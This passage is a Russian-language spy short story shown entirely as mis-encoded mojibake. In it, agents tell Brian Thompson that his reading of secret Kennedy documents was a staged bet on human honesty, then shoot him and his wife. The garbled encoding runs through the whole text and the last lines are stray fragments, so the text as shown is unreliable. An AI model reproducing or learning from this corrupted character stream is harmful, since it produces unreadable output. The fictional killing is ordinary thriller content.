â ëåâîì óõå.

Áðàéàí îòêðûë äâåðü.
- Äîáðûé äåíü, - ïðîèçíåñ òîò, ÷òî ñòîÿë áëèæå. � Âû

Áðàéàí Òîìïñîí?
Áðàéàí êèâíóë.
- ß ìîãó âîéòè?
- Ïðîøó.
×åëîâåê ñäåëàë øàã è îêàçàëñÿ âíóòðè. Åãî ãëàçà öåïêî

îáøàðèëè êàæäûé óãîëîê êîìíàòû, ïîñëå ÷åãî îñòàíîâèëèñü
íà Áðàéàíå.

- Êîìó âû ðàññêàçàëè î òîì, ÷òî ïðî÷èòàëè òîëüêî ÷òî?
- Âû î ÷åì? � Áðàéàíó äàæå íå ïðèøëîñü äåëàòü óäèâëåí-

íîå ëèöî, îí íà ñàìîì äåëå, áóäó÷è ãîòîâûì âðàòü íà ëþáûå
òåìû, íå îæèäàë ýòîãî âîïðîñà.

- Êàæäàÿ ïîïûòêà óêëîíèòüñÿ îò îòâåòà áóäåò ó÷èòûâàòü-
ñÿ, - ÷åëîâåê íàêëîíèë ãîëîâó è óëûáíóëñÿ. � Çíàåòå, à âû
ïîëíîñòüþ óêëàäûâàåòåñü â ìîþ òåîðèþ. Ïðèÿòíî îñîçíàòü
òîò ôàêò, ÷òî ÿ îêàçàëñÿ ïðàâ.

Áðàéàí îòñòóïèë íàçàä íà ïàðó øàãîâ.
- Êòî âû? � ñïðîñèë îí ó âîøåäøåãî.
- Äåñÿòü ìèíóò íàçàä â Ñèäíåå áûë óáèò ÷åëîâåê, êîòîðûé

ïîìîã âàì ïðî÷èòàòü øèôð. Ñëèøêîì óæ âåëèêà öåíà èíôîð-
ìàöèè�

Ëîðà îõíóëà è ìåäëåííî ñòàëà îïóñêàòüñÿ âäîëü ñòåíû.
Áðàéàí ïîõîëîäåë.

- Ìû ðàáîòàåì îïåðàòèâíî, - ÷åëîâåê îãëÿíóëñÿ, ïîñìîò-
ðåë ñêâîçü ñòåêëÿííóþ äâåðü íà îñòàâøåãîñÿ ñíàðóæè íà-
ïàðíèêà. � Êàê âû äóìàåòå, çà÷åì âñå ýòî? - è îí êèâíóë â
ñòîðîíó íîóòáóêà.

- Íå çíàþ, - ñêàçàë Áðàéàí. � Ìíå ýòî íå ïðèõîäèëî â ãî-
ëîâó.

- Íî âåäü âû ïðî÷èòàëè. È âû òîëüêî ÷òî ïðèíÿëè ðåøå-
íèå ïðîäàòü ýòó èíôîðìàöèþ. Äåëî â òîì, ÷òî çà âàøèì äî-
ìîì âåäåòñÿ êðóãëîñóòî÷íîå íàáëþäåíèå èç òîãî äîìà, êîòî-
ðûé âû íåïîíÿòíûì îáðàçîì ñîâåðøåííî òî÷íî âû÷èñëèëè.
Âàñ ñíèìàþò íà âèäåî, ïðîñëóøèâàþò ðàçãîâîðû â äîìå, òå-
ëåôîííûå çâîíêè, îòñëåæèâàþò òðàôèê... Âû âñå ýòè äíè áû-
ëè ïîä òàêèì êîëïàêîì, êîòîðûé ìû íå âñåãäà ìîæåì ïîçâî-
ëèòü ñåáå ïî îòíîøåíèþ ê íàñòîÿùèì àãåíòàì ðàçâåä-
ñëóæá.

- Çà÷åì? � ñïðîñèë Áðàéàí, êðàåì ãëàçà ãëÿäÿ íà æåíó. Òà
ñîâñåì ðàñêëåèëàñü, ðåâåëà òèõî, ãëîòàÿ ñëåçû.

- Ïîâîä, êàê âñåãäà, íèê÷åìíûé. Ñïîð.
- Ñïîð?
- Ïîìíèòå òîãî, êòî äàë âàì êîìïüþòåð? Ýòî áûë îäèí èç

ñïîðùèêîâ � òîò, êòî ïðèäóìàë âñþ êîìáèíàöèþ. Îí, êñòàòè,
îñòàëñÿ æèâ: íå äóìàéòå, ÷òî ñòðåëüáà áûëà íàñòîÿùåé. Ïî-
ëó÷èëñÿ íåïëîõîé ñïåêòàêëü... À êðîâü áûëà èç êåò÷óïà.

Áðàéàí íàøàðèë çà ñïèíîé ñòóë è ñåë. Îí ñîâåðøåííî íè-
÷åãî íå ïîíèìàë.

- Îí ïðåäëîæèë ìíå ñïîð. Ñóòü çàêëþ÷àëàñü â òîì, ÷òî îí
áûë óâåðåí â ïðîñòîé è î÷åâèäíîé òåïåðü èñòèíå: ñðåäè íàñ
íåò ÷åñòíûõ ëþäåé. Îí ðåøèë, ÷òî ñòîèò âîâëå÷ü â òîò ïðî-

öåññ, ÷òî ó íàñ ïîëó÷èëñÿ, àìåðèêàíöà ñ áåçóïðå÷íîé ðåïó-
òàöèåé, è îí îáÿçàòåëüíî ïðåâðàòèòñÿ â òîãî, êåì, Áðàéàí, âû
ñòàëè. ß íå âåðèë åìó, âîçðàçèë è òåì ñàìûì ñîçäàë ïðåöå-
äåíò. Ìû ïîñïîðèëè. Â êà÷åñòâå îñíîâû îí ðåøèë ïîæåðòâî-
âàòü äîêóìåíòàìè ãîñóäàðñòâåííîé âàæíîñòè, çà çíàíèå êî-
òîðûõ ÷åëîâåêó, íå èìåþùåìó íà ýòî ïðàâî, ãðîçèò ñìåðòü.
Äîêóìåíòàìè èç äåëà îá óáèéñòâå Êåííåäè.

Áðàéàí êèâíóë.
- Äîêóìåíòû ïîäëèííûå, - ïðîäîëæàë íåçíàêîìåö. � Âû

ïðî÷ëè èõ è ðåøèëè âîñïîëüçîâàòüñÿ èìè. À âåäü íàøè ëþäè
èññëåäîâàëè âàñ â òå÷åíèå íåñêîëüêèõ íåäåëü, ïðåæäå ÷åì
ïåðåäàòü âàì èíôîðìàöèþ. Âû, íàâåðíîå, ñåé÷àñ ìîæåòå
âñïîìíèòü êëèåíòîâ, êîòîðûå íè÷åãî íå êóïèëè, ñëó÷àéíûõ
çíàêîìûõ â áàðå, íîâûõ ñîñåäåé ÷åðåç äîðîãó... Î âàñ áûëî
èçâåñòíî àáñîëþòíî âñå, âû ÄÅÉÑÒÂÈÒÅËÜÍÎ áûëè ÷åñòíûì
÷åëîâåêîì� ïîêà íå ïîëó÷èëè â ðóêè âîò ýòî, - îí ïîäîøåë ê
ñòîëó, ñíÿë æóðíàë ñ êðûøêè íîóòáóêà, ïîäîøåë ê äâåðè è
ïåðåäàë êîìïüþòåð íàïàðíèêó.

Áðàéàí ìîë÷àë. Åìó íå÷åãî áûëî äîáàâèòü.
×åëîâåê îáåðíóëñÿ, ïîòîì âûíóë èç íàïëå÷íîé êîáóðû

ïèñòîëåò è âûñòðåëèë â Áðàéàíà è Ëîðó. Îòêàçàòü â ìåòêîñòè
åìó áûëî íåëüçÿ...

Âûéäÿ íà âåðàíäó, îí ïðèùóðèëñÿ îò ÿðêîãî ñîëíöà, ïî-
òîì ïîõëîïàë íàïàðíèêà ïî ïëå÷ó è ñêàçàë:

- ×åðò ñ íèì, ñ ýòèì Êåííåäè... ß ïðîñïîðèë ïÿòüäåñÿò òû-
ñÿ÷ äîëëàðîâ, âîò ýòî äåéñòâèòåëüíî ïðîáëåìà. Êñòàòè, à
ñàíêöèÿ íà óáèéñòâî ïîëó÷åíà?

Íàïàðíèê êèâíóë.
- Óæå ëó÷øå. Ëàäíî, ïîåõàëè â Ëýíãëè. Ïîðà óâîëèòü ïà-

ðî÷êó êðèïòîãðàôîâ. À äåíüãè... Æàëêî, êîíå÷íî. Â ñëåäóþ-
ùèé ðàç ÿ îáÿçàòåëüíî âûèãðàþ...

È îíè óøëè, óíîñÿ ïîä ìûøêîé "âåëè÷àéøóþ òàéíó Àìå-
ðèêè" ñòîèìîñòüþ ïÿòüäåñÿò òûñÿ÷ äîëëàðîâ. E
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ïðîøåïòàë Áðàéàí. � 

Ïîâåðü ìíå...
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